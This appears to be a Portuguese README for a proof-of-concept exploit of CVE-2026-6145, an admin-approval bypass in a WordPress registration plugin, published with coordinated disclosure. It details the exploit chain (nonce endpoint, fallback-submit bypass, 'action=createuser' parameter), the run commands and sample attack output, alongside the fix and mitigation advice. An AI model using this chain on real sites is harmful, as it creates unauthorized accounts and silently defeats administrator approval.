
User Registration & Membership <= 5.1.5 - Bypass de Aprovação de Administrador por Ausência de Autorização Não Autenticada via Parâmetro 'action'
Exploit de prova de conceito para CVE-2026-6145, uma vulnerabilidade de autorização ausente no plugin User Registration & Membership para WordPress (≤ 5.1.5) que permite que atacantes não autenticados contornem o requisito de aprovação do administrador ao criar novas contas.
| ID do CVE | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnerabilidade | Autorização Ausente — Bypass da Aprovação do Administrador |
| CWE | CWE-862 (Autorização Ausente) |
| CVSS 3.1 | 5.3 Média (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Afetados | User Registration & Membership para WordPress — todas as versões ≤ 5.1.5 |
| Corrigida | Versão > 5.1.5 |
| Pesquisador | Anthony Cihan — Líder de Segurança Ofensiva, Obviam |
| Divulgação | Programa de Divulgação Responsável da Wordfence |
| Publicado | 2026-05-14 |
O método is_admin_creation_process() em includes/class-ur-user-approval.php é o único controle que determina se um novo registro deve ser tratado como uma criação iniciada pelo administrador. Quando esse método retorna true, ocorrem dois efeitos colaterais:
set_user_status() define o status do novo usuário como APROVADO, ignorando a fila de aprovação pendente.send_request_notification_to_admin() suprime o e-mail de notificação ao administrador para o novo registro.O próprio método, na versão 5.1.5, não contém autenticação, autorização ou verificação de nonce:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Como $_REQUEST mescla $_GET, $_POST e $_COOKIE, um atacante não autenticado pode satisfazer essa verificação adicionando ?action=createuser à URL do envio de um formulário de registro. O plugin então aprova automaticamente a conta e nunca alerta o administrador.
Embora o CVE-2026-6145 aborde especificamente a autorização ausente em is_admin_creation_process(), a exploração não autenticada completa contra um formulário de registro endurecido exige encadeá-lo com dois problemas auxiliares na mesma versão do plugin, ambos tratados automaticamente pelo PoC incluído:
| Etapa | Problema | Propósito |
|---|---|---|
| 1 | Geração de nonce não autenticada por meio do endpoint user_registration_get_recent_nonce wp_ajax_nopriv (verificação apenas de Referer) | Obter um ur_frontend_form_nonce válido sem uma sessão autenticada |
| 2 | Bypass da verificação de nonce AJAX quando ur_fallback_submit não está vazio no manipulador do formulário | Enviar o registro pelo caminho de fallback sem um referer AJAX válido |
| 3 | CVE-2026-6145 — action=createuser em $_REQUEST faz is_admin_creation_process() retornar true | Aprovar automaticamente a nova conta e suprimir a notificação ao administrador |
O resultado: uma conta de usuário totalmente aprovada, criada sem interação ou notificação do administrador, em um site que exige explicitamente a aprovação do administrador para novos registros.
requestsdata-form-id)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Exemplo:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Depois de executar o PoC, faça login em wp-admin e verifique Usuários → Todos os Usuários:
Em sites WordPress que usam a aprovação do administrador como o principal controle contra a criação indesejada de contas — comum em sites de assinatura, comunidades fechadas, portais internos, plataformas B2B e qualquer site que exija verificação de identidade antes do acesso — essa vulnerabilidade neutraliza silenciosamente esse controle. As consequências específicas incluem:
A pontuação CVSS reflete um impacto apenas de integridade (sem perda direta de confidencialidade de dados ou interrupção de serviço), mas o impacto no mundo real aumenta conforme o site afetado depende do fluxo de aprovação como limite de segurança.
| Versão | Status |
|---|---|
| ≤ 5.1.5 | Vulnerável |
| > 5.1.5 | Corrigida |
Usuários → Todos os Usuários em busca de contas aprovadas inesperadas criadas desde que a versão vulnerável foi instalada. Preste atenção especial a contas sem um e-mail de notificação ao administrador correspondente.O método vulnerável deve exigir tanto uma verificação de capacidade (capability) quanto um nonce válido:
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| Data | Evento |
|---|---|
| 2026-03-09 | Vulnerabilidade identificada durante auditoria de segurança autorizada do plugin v5.1.4 |
| 2026-03-09 | Relatório inicial enviado ao Programa de Divulgação Responsável da Wordfence |
| 2026-04-12 | CVE-2026-6145 reservado pela Wordfence (CNA) |
| 2026-05-14 | Versão corrigida publicada pelo fornecedor; CVE-2026-6145 publicado |
| 2026-05-14 | Este PoC foi divulgado em coordenação com o aviso público |
Pesquisadores que acompanham o modelo de autorização deste plugin também podem se interessar por:
register_member (≤ 5.1.2)Pesquisa, descoberta e desenvolvimento do PoC:
Anthony Cihan Líder de Segurança Ofensiva — Obviam
Se você referenciar este trabalho, cite CVE-2026-6145 com atribuição a Anthony Cihan / Obviam.
Esta prova de conceito é publicada apenas para pesquisa defensiva, engenharia de detecção e testes de segurança autorizados. Ela tem a intenção de auxiliar:
A pesquisa original foi conduzida em um ambiente de laboratório autorizado sob acordo assinado, com divulgação coordenada ao fornecedor por meio do Programa de Divulgação Responsável da Wordfence antes da divulgação pública.
Executar este PoC contra qualquer sistema que você não possua ou para o qual não tenha autorização explícita por escrito para testar é ilegal nos termos do Computer Fraud and Abuse Act dos EUA (18 U.S.C. § 1030), do Computer Misuse Act de 1990 do Reino Unido, da Diretiva 2013/40/EU da União Europeia e da legislação equivalente na maioria das jurisdições. O autor e a Obviam se eximem de toda responsabilidade pelo uso indevido deste código.
Ao usar este repositório, você reconhece que leu, entendeu e aceitou estes termos.
Lançado sob a Licença MIT. Atribuição obrigatória conforme a seção de créditos acima.